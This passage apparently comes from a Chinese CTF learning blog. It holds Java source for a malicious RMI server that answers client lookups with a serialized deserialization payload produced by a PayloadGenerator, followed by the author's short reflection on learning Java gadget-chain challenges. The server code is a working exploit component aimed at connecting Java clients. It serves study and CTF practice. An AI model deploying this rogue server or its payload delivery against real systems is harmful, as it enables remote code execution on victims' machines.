} else if ("java.rmi.server.ObjID".equals(desc.getName())) {
return ObjID.class;
} else if ("java.rmi.server.UID".equals(desc.getName())) {
return UID.class;
} else if ("java.lang.String".equals(desc.getName())) {
return String.class;
} else {
throw new IOException("Not allowed to read object");
}
}
};
ObjID read;
try {
read = ObjID.read(ois);
} catch (IOException e) {
throw new MarshalException("unable to read objID", e);
}
if (read.hashCode() == 2) {
handleDGC(ois);
} else if (read.hashCode() == 0) {
if (this.handleRMI(s, ois, out)) {
this.hadConnection = true;
synchronized(this.waitLock) {
this.waitLock.notifyAll();
return;
}
}
s.close();
}
}
private boolean handleRMI(Socket s, ObjectInputStream ois, DataOutputStream out) throws Exception {
int method = ois.readInt();
ois.readLong();
if (method != 2) {
return false;
} else {
String object = (String)ois.readObject();
out.writeByte(81);
Object obj;
try (ObjectOutputStream oos = new MarshalOutputStream(out, "evil")) {
oos.writeByte(1);
(new UID()).write(oos);
String path = "/" + object;
log.info("[RMI Server] Send payloadData for " + path);
new Object();
obj = PayloadGenerator.getPayload();//替换为序列化数据
oos.writeObject(obj);
oos.flush();
out.flush();
return true;
}
}
}
private static void handleDGC(ObjectInputStream ois) throws IOException, ClassNotFoundException {
ois.readInt();
ois.readLong();
}
static final class MarshalOutputStream extends ObjectOutputStream {
private String sendUrl;
public MarshalOutputStream(OutputStream out, String u) throws IOException {
super(out);
this.sendUrl = u;
}
MarshalOutputStream(OutputStream out) throws IOException {
super(out);
}
protected void annotateClass(Class<?> cl) throws IOException {
if (this.sendUrl != null) {
this.writeObject(this.sendUrl);
} else if (!(cl.getClassLoader() instanceof URLClassLoader)) {
this.writeObject((Object)null);
} else {
URL[] us = ((URLClassLoader)cl.getClassLoader()).getURLs();
String cb = "";
for(URL u : us) {
cb = cb + u.toString();
}
this.writeObject(cb);
}
}
protected void annotateProxyClass(Class<?> cl) throws IOException {
this.annotateClass(cl);
}
}
}
Something Else
上面 java 的内容都是跟着大佬的文章和 wp 来的,其实能感觉到自己对这些东西的理解还不是很深,每次做到 java 链子题的时候都一直不敢尝试,当然也有对搭环境也比较陌生等等原因。不过也确实在一点点学习中,希望早日能够量变产生质变,把 java 这一块的思维方式搞清楚

浙公网安备 33010602011771号